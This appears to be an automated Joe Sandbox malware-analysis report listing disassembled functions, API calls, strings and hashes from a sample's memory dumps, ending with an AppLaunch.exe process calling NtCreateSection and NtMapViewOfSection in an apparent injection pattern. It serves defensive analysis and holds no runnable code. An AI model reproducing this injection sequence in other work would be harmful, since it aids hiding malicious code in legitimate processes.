Opcode ID: 685e4904f900e2c63dab830b618e8a35b3a939bdfa001960733a844dbc2ff2a1
Instruction ID: c6ba659cfee187747271a2c584d6349e4945ad1e214e703d33a32dbba6192884
Opcode Fuzzy Hash: 685e4904f900e2c63dab830b618e8a35b3a939bdfa001960733a844dbc2ff2a1
Instruction Fuzzy Hash: F7314B75D0521C9BDB11EF64D9897CDBBB8BF08304F1041AAE50CAB250EB715B89CF04

Uniqueness

Uniqueness Score: -1.00%

Function 003B97C7 Relevance: 13.5, APIs: 9, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 003B97D7
SetArcDirection.GDI32(00000000,00000002), ref: 003B97DE
ReleaseDC.USER32 ref: 003B97ED
GetDC.USER32(00000000), ref: 003B97F1
SetStretchBltMode.GDI32(00000000,00000004), ref: 003B97F8
ReleaseDC.USER32 ref: 003B9801
GetDC.USER32(00000000), ref: 003B9805
GetFontLanguageInfo.GDI32(00000000), ref: 003B980A
ReleaseDC.USER32 ref: 003B9813

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: Release$DirectionFontInfoLanguageModeStretch
String ID:
API String ID: 3198772684-0
Opcode ID: 3b359723dae005166f44a3d054154616df15a5aecda0c4c2e84372bca0aee702
Instruction ID: 58f8b8ada03da718720415e990a42d41589140da6be9c775780069cec8cb3d9f
Opcode Fuzzy Hash: 3b359723dae005166f44a3d054154616df15a5aecda0c4c2e84372bca0aee702
Instruction Fuzzy Hash: 08F030322452207BF26437B26E4AF9E3A94EF85766F050120F70CDA1C08990480486BA

Uniqueness

Uniqueness Score: -1.00%

Function 003F1D33 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800), ref: 003F1DF4

Strings

ext-ms-, xrefs: 003F1D9E
api-ms-, xrefs: 003F1D8A

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: bdcea8be00fd38341cbc4ac35ca099217ac9179a91bab45008b34ab7c5743491
Instruction ID: 720d0826ff34ab1f5abed3484e996f7b7606c0841e58bbc10aa58220c2466409
Opcode Fuzzy Hash: bdcea8be00fd38341cbc4ac35ca099217ac9179a91bab45008b34ab7c5743491
Instruction Fuzzy Hash: 7321D571A01229EBC7279B21BC81ABA3778EB41760B260124FF16AB290D770ED05C6D4

Uniqueness

Uniqueness Score: -1.00%

Function 003BC870 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 219COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 003BC8A7
_ValidateLocalCookies.LIBCMT ref: 003BC938
_ValidateLocalCookies.LIBCMT ref: 003BC9B8

Strings

csm, xrefs: 003BC94D
($;, xrefs: 003BC955, 003BC95E, 003BC96F

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate
String ID: ($;$csm
API String ID: 2268201637-237340855
Opcode ID: 824dd60e2668b8edb8048bf20f99a8022d03c6f1d170e4719dc6fad01159fdd6
Instruction ID: 78930c406382a8eebf5e683c48cde4f402dbe27c2236c65271e9f224dc6114f3
Opcode Fuzzy Hash: 824dd60e2668b8edb8048bf20f99a8022d03c6f1d170e4719dc6fad01159fdd6
Instruction Fuzzy Hash: EB412934A10218ABCF22DF68C841AEEBBB4BF4532CF149155EE199FB52C7319A05CF91

Uniqueness

Uniqueness Score: -1.00%

Function 003E93F2 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 188COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,004305A2,00000104), ref: 003E944F

Strings

Microsoft Visual C++ Runtime Library, xrefs: 003E94E4
<program name unknown>, xrefs: 003E945E
..., xrefs: 003E949D
Runtime Error!Program: , xrefs: 003E941B

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: ade445d201c6966b77569104e139e0711fe22008d059ef52bac87b8cf3ea1d49
Instruction ID: 0a375c323194a455f0b12050340a140a8d507ce3577251a36cd8778d813390d9
Opcode Fuzzy Hash: ade445d201c6966b77569104e139e0711fe22008d059ef52bac87b8cf3ea1d49
Instruction Fuzzy Hash: 2D31693290025677DB23AA13AC46FEB3B588B90754F151223FE08965D1F765CA62CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 003EB00F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,05DBDDD6,?,?,00000000,00417E9F,000000FF,?,003EAF72,?,?,003EAF21,?), ref: 003EB044
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 003EB056
FreeLibrary.KERNEL32(00000000,?,?,00000000,00417E9F,000000FF,?,003EAF72,?,?,003EAF21,?), ref: 003EB078

Strings

CorExitProcess, xrefs: 003EB04E
mscoree.dll, xrefs: 003EB03D

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 4ea18f537a96f865478de2487d70140f3e2fb349ae9e0a413ae0fec840fee99c
Instruction ID: 7852597615a95a98a858e792dc7fe8fad38ab3b8df044a5e706c6c229e5de4a8
Opcode Fuzzy Hash: 4ea18f537a96f865478de2487d70140f3e2fb349ae9e0a413ae0fec840fee99c
Instruction Fuzzy Hash: B301A231900669AFCB168F50CD05BEFBBB9FB04B15F000635E921A22E0DBB89D00CA94

Uniqueness

Uniqueness Score: -1.00%

Function 003F1F66 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,003F1F02), ref: 003F1F75
GetLastError.KERNEL32(?,003F1F02), ref: 003F1F7F
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 003F1FBD

Strings

ext-ms-, xrefs: 003F1FA2
api-ms-, xrefs: 003F1F8C

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-$ext-ms-
API String ID: 3177248105-537541572
Opcode ID: 54fe0dbb8774894364035c861e6f732887a093e4b19ed557e23469e6100a094b
Instruction ID: 7202abd3e6b70bee4c4b45d322abf107453a1e9013eb210d040f11f7a740c749
Opcode Fuzzy Hash: 54fe0dbb8774894364035c861e6f732887a093e4b19ed557e23469e6100a094b
Instruction Fuzzy Hash: 09F01270784308F6DB121A61FC46B693E959F00B54F160030FF0CEC4E1E7A1DA99D999

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9A1 Relevance: 7.8, APIs: 5, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf5687ed42add899634929251ace3b4033872492b0ea774c21ebed5dc0474c45
Instruction ID: 48f890f48f698e222090d46cdfb63db6741c40480c9a95a6d3f6b2f2f19a5608
Opcode Fuzzy Hash: cf5687ed42add899634929251ace3b4033872492b0ea774c21ebed5dc0474c45
Instruction Fuzzy Hash: 39B1D670A043499FEB15DF99C880BBE7BB1AF45304F14416AE501BB3D2C7789D91CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 003C687D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,003C668F), ref: 003C688A
GetLastError.KERNEL32(?,003C668F), ref: 003C6894
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 003C68BC

Strings

api-ms-, xrefs: 003C68A1

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: e7f6291283eff8b4687a18ec4c28e59b8d30805e1617953b1ece799e165d08ee
Instruction ID: 7d55abb6bca1c6f449449f530c0f3163be867f47b62196a0dcd6dfda1c0c4468
Opcode Fuzzy Hash: e7f6291283eff8b4687a18ec4c28e59b8d30805e1617953b1ece799e165d08ee
Instruction Fuzzy Hash: DDE01A70280308B6EB121B60ED46F583BA99F00B54F110034FA0CE84E1E7A1A998DA98

Uniqueness

Uniqueness Score: -1.00%

Function 0040069F Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(05DBDDD6), ref: 00400702
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040095D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004009A5
GetLastError.KERNEL32 ref: 00400A48

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: f149167c974818076e4c9de35f0b88abe0c7ab039edf06d559eae253f2658355
Instruction ID: 33dfc44dd8f61e6111f87077434800c0921d1299fcd4b167976c618cce849504
Opcode Fuzzy Hash: f149167c974818076e4c9de35f0b88abe0c7ab039edf06d559eae253f2658355
Instruction Fuzzy Hash: 5AD149B5E002489FDB15CFA8D880AEEBBB4FF49304F18412AE956FB391D634A941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00409DB0 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001,?), ref: 00409DC6
GetLastError.KERNEL32(?,?,?,?), ref: 00409DD3
SetFilePointerEx.KERNEL32(?,?,?,?,?), ref: 00409DF9
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,?,?,?), ref: 00409E1F

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: b6f7e545f6ec2bfecd1d9459b5e45ca3986fd5de5cdacea58e620bbd11d4102c
Instruction ID: 4ad2fa3d679ec7c575eb99637f1422266f9d5952519db3d9ce333f70fe075639
Opcode Fuzzy Hash: b6f7e545f6ec2bfecd1d9459b5e45ca3986fd5de5cdacea58e620bbd11d4102c
Instruction Fuzzy Hash: 31113371800218BBCF209FA5DD089DF7F79EF40760F108165F928A62A1C771CE51DAA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040D27D Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 0040D297
GetLastError.KERNEL32 ref: 0040D2A3
___initconout.LIBCMT ref: 0040D2B3

Part of subcall function 0040D331: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0040D2B8), ref: 0040D344

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 0040D2C7

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CreateErrorFileLast___initconout
String ID:
API String ID: 3431868840-0
Opcode ID: 6e8b84acd690426953bec96a9566d83e607096e21eeab1bfdf17214ca1ee7f60
Instruction ID: 9eff1ef1f4f54c3134de3887e736c1fe3330ca081c1bb22f15bac130b889159a
Opcode Fuzzy Hash: 6e8b84acd690426953bec96a9566d83e607096e21eeab1bfdf17214ca1ee7f60
Instruction Fuzzy Hash: 01F05E3A500600ABCB222BD6ED0494A7BB7EF897607104439F75E92630CA32D898DB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040D399 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 0040D3B0
GetLastError.KERNEL32 ref: 0040D3BC
___initconout.LIBCMT ref: 0040D3CC

Part of subcall function 0040D331: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0040D2B8), ref: 0040D344

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 0040D3E1

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CreateErrorFileLast___initconout
String ID:
API String ID: 3431868840-0
Opcode ID: 02be5e0c5953c6b879eeeda222ad86a7db2363f494e5d00f452f63e96c110551
Instruction ID: 2f92581f9019bc1d5a480694900b36bcb774a154aaed143810c44b2b5ac4a85b
Opcode Fuzzy Hash: 02be5e0c5953c6b879eeeda222ad86a7db2363f494e5d00f452f63e96c110551
Instruction Fuzzy Hash: 1FF01C36900128BBCF221FD2EC45A8E3F36EB087A0B444031FF0D95670C6328968DB99

Uniqueness

Uniqueness Score: -1.00%

Function 003F254E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

InitializeCriticalSectionEx, xrefs: 003F25AE
GetXStateFeaturesMask, xrefs: 003F255E

Memory Dump Source

Source File: 0000000E.00000002.262717294.00000000003B7000.00000020.00000001.01000000.0000000C.sdmp, Offset: 003B0000, based on PE: true

Associated: 0000000E.00000002.262713427.00000000003B0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.00000000003B1000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262717294.0000000000417000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262731863.0000000000419000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262738541.000000000042F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000432000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000E.00000002.262741481.0000000000434000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3b0000_c5286836.jbxd

Yara matches

Similarity

API ID:
String ID: GetXStateFeaturesMask$InitializeCriticalSectionEx
API String ID: 0-4196971266
Opcode ID: 48dd0892786bad4f88cfc6fe9e25a4d0a40b5fbc9cf16b21b9a276b6d6bf5059
Instruction ID: f6eb650a175b9c803cf92364ac5c719992903605f725287a3dc3148aecc27516
Opcode Fuzzy Hash: 48dd0892786bad4f88cfc6fe9e25a4d0a40b5fbc9cf16b21b9a276b6d6bf5059
Instruction Fuzzy Hash: 1401673298022CB7CB262F91DC09FDA7F15DB54BA5F114022FE1C59151CAB54A5296D4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AppLaunch.exePID: 2996, Parent PID: 7136COMMON

Executed Functions

Function 004014F4 Relevance: 10.7, APIs: 7, Instructions: 232
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015DE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040160B

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID: CreateDuplicateObjectSection
String ID:
API String ID: 3132048701-0
Opcode ID: c988dd570ec20032adcf290d7ebd961c5d4c8640c6293f2ff06a95f44cf7e08f
Instruction ID: 294d62bcad071cdbf7ac5b63dbb7556f550064bbbd5c7ae849e1746ab3fd80ab
Opcode Fuzzy Hash: c988dd570ec20032adcf290d7ebd961c5d4c8640c6293f2ff06a95f44cf7e08f
Instruction Fuzzy Hash: A071C171900244FFEB209F91CC49FAB7FB8EF82710F14416AF952BA2E5D2789901DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040151E Relevance: 10.7, APIs: 7, Instructions: 207
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015DE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040160B
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040162E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040164C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040168D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016BE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E0

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ed05f050021b50fb19d95e9036f905f596106a3efbbc094f8255f56080a08c00
Instruction ID: 7f6685667ee18e25be07774116bd2dce249f869187c90d88b84624711bc70c76
Opcode Fuzzy Hash: ed05f050021b50fb19d95e9036f905f596106a3efbbc094f8255f56080a08c00
Instruction Fuzzy Hash: 65617271A00204FBEB209F95DC49FAF7BB8FF81B00F10412AF912BA1E4D6759A01DB65

Uniqueness

Uniqueness Score: -1.00%

